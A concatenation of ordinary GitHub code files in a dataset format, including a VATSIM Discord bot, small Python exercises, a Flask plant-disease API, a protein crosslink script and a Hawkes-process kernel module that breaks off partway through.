VATADR_RED\n\nairports = utils.json_loader.read_json(\"airports\")\n\nclass Departures(commands.Cog):\n def __init__(self, bot: commands.Bot) -> None:\n self.bot = bot\n\n @app_commands.command(\n name=\"departures\",\n description=\"Get departers from desired airport\"\n )\n async def departures(\n self,\n interaction: discord.Interaction,\n airport: str,\n private: bool = False\n ) -> None:\n await interaction.response.defer(thinking=True, ephemeral=private)\n if airport.upper() in airport:\n t = requests.get('https://data.vatsim.net/v3/vatsim-data.json').json()\n xy = json.dumps(t)\n s = json.loads(xy)\n departures_exist = False\n embed = Embed(\n title=f\"Departure Table for {airport.upper()}\",\n color = VATADR_BLUE\n ) \n for item in s['pilots']:\n if item['flight_plan'] != None:\n if item['flight_plan']['departure'] == (airport.upper()):\n if item['groundspeed'] < 30:\n try:\n departures_exist = True\n callsign = item['callsign']\n departure = item['flight_plan']['departure']\n arrival = item['flight_plan']['arrival']\n if item['flight_plan']['deptime'] == \"0000\":\n depa_time = f\"Departure time unknown\"\n else:\n depa_time = item['flight_plan']['deptime']\n \n embed.add_field(\n name=f\":airplane: C/S:{' '} `{callsign}` {' '} | {' '}:airplane_departure: ADEP {' '}`{departure}`{' '} | {' '}:airplane_arriving: ADES: {' '}`{arrival}`{' '}| {' '} :clock1: ETD: {' '}`{depa_time}z`\",\n value=\"\\uFEFF\",\n inline=False\n )\n except Exception as e:\n embed.add_field(\n name=f\"Failed to load arrivals\",\n value=f\"{e}\",\n inline=False \n )\n if departures_exist:\n await interaction.followup.send(embed=embed)\n else:\n embed = Embed(\n title=f\"Departure Table for {airport.upper()}\",\n color = VATADR_RED\n )\n embed.add_field(\n name=f\":x: There is no departures at the moment :x:\",\n value=\"\\uFEFF\",\n inline=False\n )\n\n await interaction.followup.send(embed=embed)\n\n @app_commands.command(\n name=\"alldepartures\",\n description=\"Get all departures\"\n )\n async def alldepartures(\n self,\n interaction = discord.Interaction,\n private: bool = False\n ):\n await interaction.response.defer(thinking=True, ephemeral=private)\n data = requests.get('https://data.vatsim.net/v3/vatsim-data.json').json()\n resp = json.dumps(data)\n s = json.loads(resp) \n deparutres_exist = False\n embed = Embed(\n title=\"Departure Table\",\n color = VATADR_BLUE,\n )\n \n for item in s['pilots']:\n if item['flight_plan'] != None:\n if item['flight_plan']['departure'] in airports:\n if item['groundspeed'] < 30:\n try:\n deparutres_exist=True\n callsign = item['callsign']\n departure = item['flight_plan']['departure']\n arrival = item['flight_plan']['arrival']\n if item['flight_plan']['deptime'] == \"0000\":\n depa_time = f\"Departure time unknown\"\n else:\n depa_time = item['flight_plan']['deptime']\n \n \n embed.add_field(\n name=f\":airplane: C/S:{' '} `{callsign}` {' '} | {' '}:airplane_departure: ADEP {' '}`{departure}`{' '} | {' '}:airplane_arriving: ADES: {' '}`{arrival}`{' '}| {' '} :clock1: ETD: {' '}`{depa_time}z`\",\n value=\"\\uFEFF\",\n inline=False\n )\n except Exception as e:\n embed.add_field(\n name=f\"Failed to load arrivals\",\n value=f\"{e}\",\n inline=False\n )\n if not deparutres_exist:\n embed = Embed(\n title=f\"Departure Table\",\n color = VATADR_RED\n )\n embed.add_field(\n name=f\":x: There is no departures at the moment :x:\",\n value=\"\\uFEFF\",\n inline=False\n )\n\n await interaction.followup.send(embed=embed)\n else:\n await interaction.followup.send(embed=embed)\n\n @commands.Cog.listener()\n async def on_ready(self):\n print(f\"{self.__class__.__name__} cog has been loaded.\\n-----\")\n \nasync def setup(bot: commands.Bot) -> None:\n await bot.add_cog(\n Departures(bot),\n guilds= [discord.Object(id=GUILD_ID)])\n \n","repo_name":"Markanito/VATSIM-Discord-Bot","sub_path":"cogs/departures.py","file_name":"departures.py","file_ext":"py","file_size_in_byte":6049,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"23"} +{"seq_id":"12467954042","text":"#If n= 5, print 5 4 3 2 1 2 3 4 5 using single recursive function\n\ndef fact(n):\n\t\n\tif(n<1):\n\t\treturn 0\n\telse:\n\t\tprint(n,end=\" \")\n\t\tfact(n-1)\n#Upper two are for 6 to 2\t\t\n\t\t\t\n\tif(n==1):\n\t\treturn 0\n\telse:\n\t\tprint(n,end=\" \")\n#In this if else it will start from the innermost fact(1) and go to outermost fact(6)\n\nm=int(input(\"Enter a number - \"))\nfact(m)\n\n#Output\n#Enter a number - 6\n#6 5 4 3 2 1 2 3 4 5 6 \n\n\n","repo_name":"mohsinchougale/Python-Programming","sub_path":"Functions/Recursive1.py","file_name":"Recursive1.py","file_ext":"py","file_size_in_byte":405,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"23"} +{"seq_id":"40902927135","text":"def compare(s1,s2):\n dic = {} \n \n for i in list(s1):\n if i not in dic:\n dic[i] = 1\n else: \n dic[i] +=1\n for i in list(s2):\n if i not in dic:\n return False\n else:\n dic[i] -= 1\n \n for i in dic:\n if dic[i] != 0:\n return False\n return True\n\nif __name__ == \"__main__\":\n s1 = \"aaaabbc\"\n s2 = \"abcbaaa\"\n \n flag = compare(s1,s2) \n \n print(flag)","repo_name":"RegCookies/Offer-Sward","sub_path":"String/swap_string.py","file_name":"swap_string.py","file_ext":"py","file_size_in_byte":466,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"23"} +{"seq_id":"31276684130","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Wed Aug 29 08:35:52 2012\n\n\n\"\"\"\n\"\"\"\nMateriály:\nhttp://matplotlib.org/\nhttp://mamut.spseol.cz/matplotlib/ \n \n\"\"\" \n\nfrom pylab import *\nx=arange(-10,10,0.2) #vektor x od -10 do 10, krok 0.2\n#print x\n\n#x=linspace(-2,2,50) #vektor x od 0 do 1, 10 hodnot\n\n\ny1=2*x+1\ny2=x**2\ny3=x**4\n\ngrid() #zobrazení mřížky\ntitle(\"Graf funkce x3\")\nxlabel(\"Osa x\") # popis osy x\nylabel(\"Osa y\")\nplot(x,y1,label=\"$y=2x+1$\") #vložení údajů do grafu\nplot(x,y2,label=\"$y=x^2$\")\nplot(x,y3,label=\"$y=x^4$\")\nylim(-1,20) #limity pro osu y\nxlim(-2,2)\n#legend(loc=\"lower left\") #zobrazení legendy umístění řetězcem nebo číslem 0-10\nshow() #zobrazení grafu\n\n\"\"\"\nÚkol:\n1) Zobrazte graf funkce y=cos(x), interval <0,4*pi>\n2) Vypočítejte hodnoty funkce y1=2cos(3x)-1 a \n přidejte ji do grafu\n\"\"\" ","repo_name":"peoblouk/Programov-n-","sub_path":"TAHÁČEK/44 pylab uvod.py","file_name":"44 pylab uvod.py","file_ext":"py","file_size_in_byte":833,"program_lang":"python","lang":"cs","doc_type":"code","stars":0,"dataset":"github-code","pt":"23"} +{"seq_id":"28854618975","text":"from flask import Flask\r\nfrom flask import request\r\nfrom flask import jsonify\r\nimport os\r\nimport cv2\r\nimport numpy as np\r\nfrom tensorflow.keras.models import load_model\r\nfrom firebase_admin import credentials, initialize_app, db\r\n\r\napp = Flask(__name__)\r\nALLOWED_EXTENSIONS = {'png', 'jpg', 'jpeg'}\r\n\r\n# Initialize Firestore DB\r\ncred = credentials.Certificate(\r\n 'plant-e7169-firebase-adminsdk-vv9mb-c8a6f499fe.json')\r\ndefault_app = initialize_app(\r\n cred, {'databaseURL': 'https://plant-e7169-default-rtdb.firebaseio.com'})\r\n# db = firestore.client()\r\ndisease_ref = db.reference('disease')\r\n\r\n\r\ndef allowed_file(filename):\r\n extension = filename.rsplit('.', 1)[1].lower()\r\n return '.' in filename and extension in ALLOWED_EXTENSIONS\r\n\r\n\r\ndef model():\r\n global model\r\n model = load_model('model.h5')\r\n\r\n\r\n@app.route('/', methods=['GET'])\r\ndef home():\r\n return jsonify({\r\n \"name\": \"He thong bao ve cay trong\",\r\n \"api\": \"[POST] /predict\"\r\n }), 200\r\n\r\n\r\n@app.route('/predict', methods=['POST'])\r\ndef predict():\r\n print(\"predict.....................\")\r\n if 'img' not in request.files:\r\n return jsonify({\r\n 'message': 'Missing file'\r\n }), 100\r\n file = request.files['img']\r\n if file.filename == '':\r\n return jsonify({\r\n 'message': 'No file selected'\r\n }), 200\r\n\r\n if file and allowed_file(file.filename):\r\n try:\r\n filestr = file.read()\r\n img = np.frombuffer(filestr, np.uint8)\r\n img = cv2.imdecode(img, cv2.IMREAD_COLOR)\r\n img = cv2.cvtColor(img, cv2.COLOR_BGR2RGB)\r\n img = cv2.resize(img, (256, 256))\r\n img = np.reshape(img, (256, 256, 3))\r\n img = img /255.\r\n pred = model.predict(np.asarray([img]))[0]\r\n todo_id = np.argmax(np.round(pred), axis=0)\r\n if todo_id:\r\n todo = db.reference('disease').order_by_key().equal_to(str(todo_id)).get()\r\n print(todo)\r\n disease = todo[str(todo_id)]\r\n return jsonify({\r\n 'message': 'Success',\r\n 'data': disease\r\n }), 200\r\n # return jsonify({\r\n # 'message': 'Success',\r\n # 'traffic_id': str(pred[0])\r\n # })\r\n except:\r\n return jsonify({\r\n 'message': 'Server error'\r\n }), 300\r\n else:\r\n return jsonify({\r\n 'message': 'File doesn\\'t support'\r\n }), 400\r\n\r\n@app.route('/id1', methods=['GET', 'POST'])\r\ndef readid():\r\n try:\r\n # Check if ID was passed to URL query\r\n todo_id = 1\r\n if todo_id == 1:\r\n todo = disease_ref.document(todo_id).get()\r\n print(todo.to_dict())\r\n return jsonify(todo.to_dict()), 200\r\n except Exception as e:\r\n return f\"An Error Occured: {e}\"\r\n\r\n\r\nif __name__ == \"__main__\":\r\n\r\n port = int(os.environ.get('PORT', 8080))\r\n\r\n print((\"* Loading Keras model and Flask starting server...\"\r\n \"please wait until server has fully started\"))\r\n model()\r\n app.run(threaded=True, host='0.0.0.0', port=8080)\r\n","repo_name":"PhanTranHung/bao_ve_cay_trong","sub_path":"back_end/flask_app/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":3201,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"23"} +{"seq_id":"7440115480","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nfrom __future__ import print_function\nimport sys\nsys.path.append('.')\nimport os\n\nimport torch\nfrom torchvision import transforms\nimport yaml\nimport cv2\nimport numpy as np\nimport argparse\n\nfrom datasets.utils.pipeline import makedir\nfrom datasets.kitti.kitti_odomery import KittiOdometry\nfrom datasets.utils import postprocess as post\n\nfrom experiments.object_tracking.object_tracking import update_normal_size, network_output, calculate_pr_curve, box_iou\nfrom experiments.utils.utils import save_tracking_results, plot_pr_curves, plot_tracking_details, get_pr_curve_area\n\n\nos.environ[\"CUDA_VISIBLE_DEVICES\"] = \"0\"\n\ndef filter_objects(descs, objects, target_labels):\n new_descs = []\n new_objects = {}\n for k in objects.keys():\n new_objects[k] = []\n\n for i in range(len(descs)):\n label = objects['labels'][i]\n score = objects['scores'][i]\n if label in target_labels and score > 0.5:\n new_descs.append(descs[i])\n for k in objects.keys():\n new_objects[k].append(objects[k][i])\n\n if len(new_descs) < 1:\n return None, None\n\n new_descs = np.vstack(new_descs)\n for k in objects.keys():\n new_objects[k] = np.vstack(new_objects[k])\n \n return new_descs, new_objects\n\ndef relocalization_offline(configs):\n\n # read configs\n save_dir = configs['save_dir']\n data_root = configs['data_root']\n net_output_dir = configs['net_output_dir']\n dataset_name = configs['data']['name']\n\n # data\n seqs = ['00', '05', '06']\n similarity_thr = 0.88\n interval = 100\n pr_curves_list = []\n datasets_results = {}\n for seq in seqs:\n # dataset\n dataset = KittiOdometry(data_root, seq)\n dis_thr = dataset.dis_thr\n angle_thr = dataset.angle_thr\n interval = dataset.interval\n\n seq_net_output_dir = os.path.join(net_output_dir, seq)\n descs_list = []\n image_name_list = []\n image_indexes = []\n predict_loops = {}\n for data in dataset:\n image = data['image']\n image_name = data['image_name']\n gt = dataset.get_label(image_name)\n print(image_name)\n\n image_net_output_dir = os.path.join(seq_net_output_dir, image_name)\n # load points\n points = []\n points_dir = os.path.join(image_net_output_dir, \"points\")\n if not os.path.exists(points_dir):\n continue\n points_file_names = os.listdir(points_dir)\n for points_file_name in points_file_names:\n p_path = os.path.join(points_dir, points_file_name)\n p = np.load(p_path, allow_pickle=True)\n points.append(p)\n\n # load descs\n descs_path = os.path.join(image_net_output_dir, \"descs.npy\")\n descs = np.load(descs_path)\n\n # load objects\n objects = {}\n objects_dir = os.path.join(image_net_output_dir, \"objects\")\n objects_file_names = os.listdir(objects_dir)\n for objects_file_name in objects_file_names:\n key = objects_file_name.split('.')[0]\n value_path = os.path.join(objects_dir, objects_file_name)\n objects[key] = np.load(value_path)\n \n\n target_labels = [3, 8]\n descs, objects = filter_objects(descs, objects, target_labels)\n if descs is None:\n continue\n\n if gt['index'] > interval and len(descs_list) > 0:\n # find loop\n scores = []\n match_images = []\n for descs_i, image_name_i, image_index_i in zip(descs_list, image_name_list, image_indexes):\n if gt['index'] - image_index_i < interval:\n break\n \n descs_similarity = descs.dot(descs_i.T) # m * n\n matches = descs_similarity > similarity_thr\n matches = matches * descs_similarity\n matches = np.max(matches, 1)\n # decide to match\n good_match = 0\n score = np.sum(matches)\n\n m, n = descs_similarity.shape\n num_diff = m - n\n num_diff = num_diff if num_diff > 0 else (-num_diff)\n score = score - num_diff * 0\n\n scores.append(score)\n match_images.append(image_name_i)\n\n predict_loops[image_name] = {'match_images': match_images, 'scores': scores}\n \n descs_list.append(descs)\n image_name_list.append(image_name)\n image_indexes.append(gt['index'])\n\n # find groundtruth\n loop_gt, num_loop_gt = dataset.get_loop_gt()\n \n # recall\n topk_k = [i for i in range(1, 21)]\n recalls = {}\n for k in topk_k:\n pred_loop = 0\n for image_name in loop_gt.keys():\n if loop_gt[image_name]:\n if image_name not in predict_loops.keys():\n continue\n\n predict_loop = predict_loops[image_name]\n scores, match_images = predict_loop['scores'], predict_loop['match_images']\n scores = torch.tensor(scores)\n k_loop_images = []\n k_loop_scores = []\n if k > len(scores):\n k_loop_images = match_images\n else:\n value, _ = scores.topk(k)\n min_v = value[-1].item()\n indices = []\n for i_score in range(len(scores)):\n if(scores[i_score] >= min_v):\n indices.append(i_score)\n # _, indices = scores.topk(k)\n # indices = indices.numpy().tolist()\n for idx in indices:\n k_loop_images.append(match_images[idx])\n\n # if correct image in k_loop_images\n for k_image_name in k_loop_images:\n gt1 = dataset.get_label(image_name)\n gt2 = dataset.get_label(k_image_name)\n\n idx1, p1, R1 = gt1['index'], gt1['position'], gt1['rotation']\n idx2, p2, R2 = gt2['index'], gt2['position'], gt2['rotation']\n \n dp = np.linalg.norm((p1-p2))\n dR = R1.dot(R2.T)\n dr, _ = cv2.Rodrigues(dR)\n d_angle = np.linalg.norm(dr)\n d_idx = idx2 - idx1 \n d_idx = d_idx if d_idx > 0 else (-d_idx)\n if (d_idx > interval) and (dp < dis_thr) and (d_angle < angle_thr):\n pred_loop += 1\n break\n print(\"k = {}, pred_loop = {}, num_loop_gt = {}\".format(k, pred_loop, num_loop_gt))\n recall = float(pred_loop) / num_loop_gt if num_loop_gt > 0 else 1\n recalls[k] = recall\n datasets_results[seq] = recalls\n\n\n file_name = \"kitti_odometry.yaml\"\n file_path = os.path.join(save_dir, file_name)\n fp = open(file_path, 'w')\n fp.write(yaml.dump(datasets_results))\n\n\n\ndef main():\n parser = argparse.ArgumentParser(description=\"show match\")\n parser.add_argument(\n \"-c\", \"--config_file\",\n dest = \"config_file\",\n type = str, \n default = \"\"\n )\n parser.add_argument(\n \"-s\", \"--save_dir\",\n dest = \"save_dir\",\n type = str, \n default = \"\" \n )\n parser.add_argument(\n \"-n\", \"--net_output_dir\",\n dest = \"net_output_dir\",\n type = str, \n default = \"\" \n )\n parser.add_argument(\n \"-d\", \"--data_root\",\n dest = \"data_root\",\n type = str, \n default = \"\" \n )\n args = parser.parse_args()\n config_file = args.config_file\n f = open(config_file, 'r', encoding='utf-8')\n configs = f.read()\n configs = yaml.load(configs)\n configs['data_root'] = args.data_root\n configs['net_output_dir'] = args.net_output_dir\n configs['save_dir'] = args.save_dir\n\n relocalization_offline(configs)\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"junqi047/AirCode","sub_path":"experiments/place_recogination/offline_topK.py","file_name":"offline_topK.py","file_ext":"py","file_size_in_byte":7281,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"23"} +{"seq_id":"1668338332","text":"import asyncio\nimport queue\nimport threading\n\n\nsem = threading.BoundedSemaphore()\nsem1 = threading.Semaphore(1)\nlock = threading.BoundedSemaphore()\n\ndef move_object(object,posx,posy):\n object.setx(object.xcor()+posx)\n object.sety(object.ycor()+posy)\n\n\nBULLET_POS = []\nPLAYER_POS = [(0,0,0,False)]\nINVADERS_POS = []\n# game constants\n\nMAX_POSX = 280\nMIN_POSX = -280\nMIN_POSY = -280\nMAX_POSY = 270\n\nSTEP_POSY = 20\n\nQUEUE_SIZE = 1\nENEMY_SPEED = 3\nBULLET_SEED = 20\nBULLET_RATIO = 600\nENEMY_STEP_Y = 30\n# log server constants\nREAD = 'rt'\nLOG_PATH = 'logConfig.yaml'\nLOG_NAME = 'log.txt'\nFORMAT = '%(asctime)s - [%(levelname)8s] | [%(name)15s] - %(message)s'\n","repo_name":"felipefrocha/spaceinvaders","sub_path":"newSpaceInvaders/constants.py","file_name":"constants.py","file_ext":"py","file_size_in_byte":658,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"23"} +{"seq_id":"9249086680","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\n\ndef datamigration(apps, schema_editor):\n # Go through all the drivers and set the legacy phone type field (which\n # is on the Freelancer model) to the new phone type field.\n Driver = apps.get_model('driver', 'Driver')\n for driver in Driver.objects.all():\n driver.phone_type = driver.phone_type_old\n driver.save()\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('driver', '0032_auto_20150625_1607'),\n ]\n\n operations = [\n migrations.RunPython(datamigration)\n ]\n","repo_name":"nathananderson03/buzzhire","sub_path":"apps/services/driver/migrations/0033_datamigration.py","file_name":"0033_datamigration.py","file_ext":"py","file_size_in_byte":631,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"23"} +{"seq_id":"70610660541","text":"from __future__ import annotations\n\nimport os\n\nfrom setuptools import find_packages\nfrom setuptools import setup\n\n\ndef read(*names, **kwargs):\n \"\"\"Read a file.\"\"\"\n content = \"\"\n with open(\n os.path.join(os.path.dirname(__file__), *names),\n encoding=kwargs.get(\"encoding\", \"utf8\"),\n ) as open_file:\n content = open_file.read().strip()\n return content\n\n\nsetup(\n name=\"pedropsb_samplepkg\",\n version=read(\"samplepkg\", \"VERSION\"),\n license=\"MIT\",\n license_files=[\"LICENSE\"],\n author=\"Pedro Brochado\",\n description=\"A sample package project for personal testing purposes.\",\n long_description=read(\"README.md\"),\n long_description_content_type=\"text/markdown\",\n packages=find_packages(\n exclude=[\n \"tests\",\n \"tests.*\",\n \"docs\",\n \"docs.*\",\n \"build\",\n \"build.*\",\n ]\n ),\n include_package_data=True,\n zip_safe=False,\n platforms=\"any\",\n tests_require=[\"pytest\"],\n python_requires=\">=3.8\",\n setup_requires=[\"setuptools>=38.6.0\"],\n)\n","repo_name":"pedro-psb/sample-pkg","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1082,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"23"} +{"seq_id":"31391474672","text":"#Análisis de Algoritmos 3CV2\n# Alan Romero Lucero\n# Josué David Hernández Ramírez\n# Práctica 10\n\nimport pickle\nimport json\n\ndef store ( compressed, frequency, probability, dictionary ):\n # Almacena la secuencia codificada en un archivo binario.\n with ( open ( \"Files/Encoded File.txt\", \"wb\" ) ) as f:\n pickle.dump ( compressed, f )\n # Almacena la frecuencia con la que aparecieron los símbolos.\n with ( open ( \"Files/Frequency.txt\", \"w\" ) ) as f:\n f.write ( \"\\n\\t\\t{0:10} {1:15} {2:10}\\n\\t\\t\"\n .format ( \"Symbol\", \"Probability\", \"Frequency\" ) )\n for symbol in frequency:\n f.write ( \"{0:10} {1:15.6} {2:10}\\n\\t\\t\"\n .format ( symbol, str ( probability [ symbol ] ),\n str ( frequency [ symbol ] ) ) )\n # Almacena la codificación de cada símbolo.\n with ( open ( \"Files/Codification.txt\", \"w\" ) ) as f:\n f.write ( \"\\n\\t\\t{0:10} {1:10}\\n\\t\\t\"\n .format ( \"Symbol\", \"Codes\" ) )\n for symbol in dictionary:\n f.write ( \"{0:10} {1:10}\\n\\t\\t\"\n .format ( symbol, dictionary [ symbol ] ) )\n # Almacena el diccionario con la codificación de cada símbolo.\n with ( open ( \"Files/Dictionary.dic\", \"w\" ) ) as f:\n json.dump ( dictionary, f )","repo_name":"JosueHernandezR/Analisis-de-algoritmos-ESCOM","sub_path":"Practica10/Codificar/store.py","file_name":"store.py","file_ext":"py","file_size_in_byte":1333,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"23"} +{"seq_id":"16927554400","text":"from Bio.PDB import PDBParser, Chain\nfrom Bio.PDB.PDBIO import PDBIO\nimport math\nimport random\nimport argparse\nimport numpy as np\n\nparser = argparse.ArgumentParser()\nparser.add_argument(\"--mode\", type=int, default=0, help='0 for creating input, 1 for handling EASAL output')\nparser.add_argument(\n \"--pdb_file\",\n type=str,\n required=True,\n help=\"Input PDB file of complex for which need crosslinks between receptor and ligand chains\",\n)\nparser.add_argument(\n \"--receptor_chains\",\n type=str,\n default=\"A\",\n help=\"String of receptor chains, e.g. AB\",\n)\nparser.add_argument(\n \"--ligand_chains\",\n type=str,\n default=\"B\",\n help=\"String of ligand chains, e.g. CD\"\n)\nparser.add_argument(\n \"--dt\",\n type=float,\n required=True,\n help=\"Max distance between crosslinked residues defined by linker length\",\n)\nparser.add_argument(\n \"--fp\",\n type=int,\n default=0,\n help=\"Number of false positives in the total set of crosslinks\",\n)\nparser.add_argument(\n \"--total_xl\", type=int, required=True, help=\"Total number of crosslinks\"\n)\nargs = parser.parse_args()\n\n\ndef get_distance(c1, c2):\n raw_d = (c1[0] - c2[0]) ** 2 + (c1[1] - c2[1]) ** 2 + (c1[2] - c2[2]) ** 2\n d = math.sqrt(raw_d)\n return d\n\n\ndef select_random_entries(input_list, num_out):\n if num_out > len(input_list):\n raise Exception(\n f\"Not enough crosslinks within the distance threshold found: {num_out}>{len(input_list)}\"\n )\n random.shuffle(input_list)\n outlist = []\n while len(outlist) < num_out:\n choice = random.choice(input_list)\n if choice not in outlist:\n outlist.append(choice)\n return outlist\n\n\ndef create_pseudobond_file(fname, xl_list, color):\n model_num = 0\n atom_type = \"ca\"\n with open(fname, \"w\") as outf:\n for link in xl_list:\n chain1 = link.split(\",\")[0][-1].strip()\n res1 = int(link.split(\",\")[1])\n chain2 = link.split(\",\")[2][-1].strip()\n res2 = int(link.split(\",\")[3])\n pseudobond = f\"#{model_num}:{res1}.{chain1}@{atom_type} #{model_num}:{res2}.{chain2}@{atom_type} {color}\"\n outf.write(pseudobond + \"\\n\")\n\n\ndef get_calphas_for_a_chain(chain):\n calphas = []\n residues = [residue for residue in chain.get_residues()]\n for res in residues:\n calphas.append(CAlphaAtom(chain=chain, residue=res))\n return calphas\n\n\nclass CAlphaAtom:\n def __init__(self, chain, residue) -> None:\n self.chain = chain\n self.residue = residue\n self.coords = self.get_ca_coords()\n\n def get_ca_coords(self):\n coords = None\n for atom in self.residue.get_atoms():\n if atom.get_name() == \"CA\":\n coords = atom.get_coord()\n return coords\n\n\n##########################################################################################################################################\n################################################################### Main #################################################################\n##########################################################################################################################################\n\n\nif __name__ == '__main__':\n parser = PDBParser(QUIET=True)\n structure = parser.get_structure(\"protein\", args.pdb_file)\n\n if args.mode == 0:\n rchains = [Chain.Chain(ch_name) for ch_name in args.receptor_chains]\n lchains = [Chain.Chain(ch_name) for ch_name in args.ligand_chains]\n\n rchain_calphas = []\n lchain_calphas = []\n\n for chain in structure[0].get_chains(): # Assuming only one model in the PDB\n if chain in rchains:\n print(f\"Receptor chain found {chain}\")\n rchain_calphas.append(get_calphas_for_a_chain(chain))\n elif chain in lchains:\n print(f\"Ligand chain found {chain}\")\n lchain_calphas.append(get_calphas_for_a_chain(chain))\n with open(args.pdb_file[:-4] + '_A.pdb', 'w') as fileA:\n for chain in rchain_calphas:\n i = 0\n for res in chain:\n fileA.write('ATOM ' + str(res.residue.id[1]) + ' CA A ' + res.residue.resname + ' ' + str(\n res.coords[0]) + ' ' + str(\n res.coords[1]) + ' ' + str(res.coords[2]) + ' 2.8\\n')\n i += 1\n\n with open(args.pdb_file[:-4] + '_B.pdb', 'w') as fileB:\n for chain in lchain_calphas:\n i = 0\n for res in chain:\n fileB.write(\n 'ATOM ' + str(i) + ' CA B ' + res.residue.resname + ' ' + str(res.coords[0]) + ' ' + str(\n res.coords[1]) + ' ' + str(res.coords[2]) + ' 2.8\\n')\n i += 1\n\n crosslinks = []\n noncrosslinks = []\n\n for rchain in rchain_calphas:\n for lchain in lchain_calphas:\n for rres in rchain:\n for lres in lchain:\n distance = get_distance(rres.coords, lres.coords) # TODO test\n\n if distance <= args.dt:\n crosslinks.append((rres, lres, distance))\n else:\n noncrosslinks.append((rres, lres, distance))\n\n # STEP 3. Select a random subset of entries and save in file\n num_false_xl = args.fp\n num_true_xl = int(args.total_xl - args.fp)\n\n all_xls = select_random_entries(crosslinks, num_true_xl)\n false_xls = select_random_entries(noncrosslinks, num_false_xl)\n all_xls.extend(false_xls)\n random.shuffle(all_xls)\n\n with open(f\"xl_{args.pdb_file.split('/')[-1]}_d{args.dt}.txt\", \"w\") as outf:\n outf.write(\"num1, res1, prot1, num2, res2, prot2\\n\")\n for lnk in all_xls:\n rca, lca = lnk[0], lnk[1]\n\n outf.write(\n f\"{rchain_calphas[0].index(rca)}, {rca.residue.get_id()[1]}, {rca.chain.get_id()}, \"\n f\"{lchain_calphas[0].index(lca)}, {lca.residue.get_id()[1]}, {lca.chain.get_id()}, {lnk[2]}\\n\"\n )\n\n elif args.mode == 1:\n for chain in structure.get_chains():\n if chain.get_id() == args.receptor_chains:\n molA = chain\n elif chain.get_id() == args.ligand_chains:\n molB = chain\n io = PDBIO()\n\n with open('allOris.txt') as allOris:\n for modelcount,line in enumerate(allOris):\n cur_line = list(map(float, line.split()))\n flip_no = int(cur_line[0])\n ori_no = int(cur_line[1])\n trans = np.array(cur_line[2:5])\n rot = np.array(cur_line[5:14]).reshape((3, 3))\n print(modelcount)\n for atom in molB.get_atoms():\n # print(atom.coord)\n # print(rot)\n atom.set_coord(rot @ atom.coord + trans) # multiply rotation matrix and add translation\n # print(atom.get_coord())\n # exit()\n output_pdb_filename = f'{args.pdb_file}_model_{modelcount}.pdb'\n with open(output_pdb_filename, 'w') as output_pdb:\n io.set_structure(structure)\n io.save(output_pdb)\n\n print(f'Saved PDB file: {output_pdb_filename}')\n\n # pack up molA and molB and output as 1avx_modelcount.pdb file\n # save_pdb(structure)\n\n #TODO make sure residue numbers maintained, all atoms are there\n","repo_name":"isblab/EASAL","sub_path":"scripts/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":7625,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"23"} +{"seq_id":"38891057394","text":"import sys\ninput = sys.stdin.readline\n\nfor _ in range(int(input())):\n n = int(input()) # 지원자의 숫자\n score = [list(map(int, input().split())) for _ in range(n)]\n score.sort(lambda x: x[0])\n\n ans = 1\n facial = score[0][1]\n for i in range(1, n):\n if score[i][1] < facial:\n facial = score[i][1]\n ans += 1\n \n print(ans)","repo_name":"yeongseoPark/Week04","sub_path":"yeongseoPark/Greedy/1946.py","file_name":"1946.py","file_ext":"py","file_size_in_byte":377,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"23"} +{"seq_id":"17991328350","text":"import numpy as np\nimport pandas as pd\nimport matplotlib\nimport matplotlib.pyplot as plt\nimport torch\nimport torch.optim as optim\nimport torch.nn.functional as F\nimport arrow\nimport random\nimport pickle\nimport cProfile\nimport sys\nfrom datetime import datetime\n\nfrom scipy.stats import multivariate_normal\nfrom scipy.stats import gaussian_kde\nfrom scipy.stats import chi2\nfrom scipy.spatial.distance import pdist, squareform\nfrom statsmodels.graphics.tsaplots import plot_pacf\n\nfrom matplotlib.path import Path\nimport branca\nimport folium\nfrom tqdm import tqdm\n\nimport geopandas as gpd\nfrom shapely.geometry import Polygon, Point, MultiPoint, MultiPolygon\nfrom descartes.patch import PolygonPatch\nfrom shapely.ops import cascaded_union\n\nfrom matplotlib.backends.backend_pdf import PdfPages\nfrom matplotlib.ticker import NullFormatter\nimport matplotlib\n\n\n########## Kernel ############\n\ndef weight_init(m):\n if isinstance(m, torch.nn.Conv2d):\n torch.nn.init.xavier_uniform_(m.weight.data)\n torch.nn.init.constant_(m.bias.data,0.01)\n elif isinstance(m, torch.nn.BatchNorm2d):\n m.weight.data.fill_(1)\n m.bias.data.zero_()\n elif isinstance(m, torch.nn.Linear):\n m.weight.data.normal_(0,1)\n m.bias.data.normal_(0,1)\n \n \ndef weight_update(m, rate):\n m.weight.data = m.weight.data + torch.ones(m.weight.data.shape) * rate\n\n\n'''Temporal kernel'''\n\nclass _Gaussian_kernel(torch.nn.Module):\n \"\"\"\n Temporal Gaussian decaying kernel\n \"\"\"\n\n def __init__(self, C, Sigma):\n super(_Gaussian_kernel, self).__init__()\n \n self.C = torch.nn.Parameter(torch.FloatTensor([C])[0])\n self.Sigma = torch.nn.Parameter(torch.FloatTensor([Sigma])[0])\n\n def integration(self, obs):\n \"\"\"\n return closed form integration w.r.t. data obs\n \"\"\"\n integral = np.sqrt(2 * np.pi) * self.C * self.Sigma * 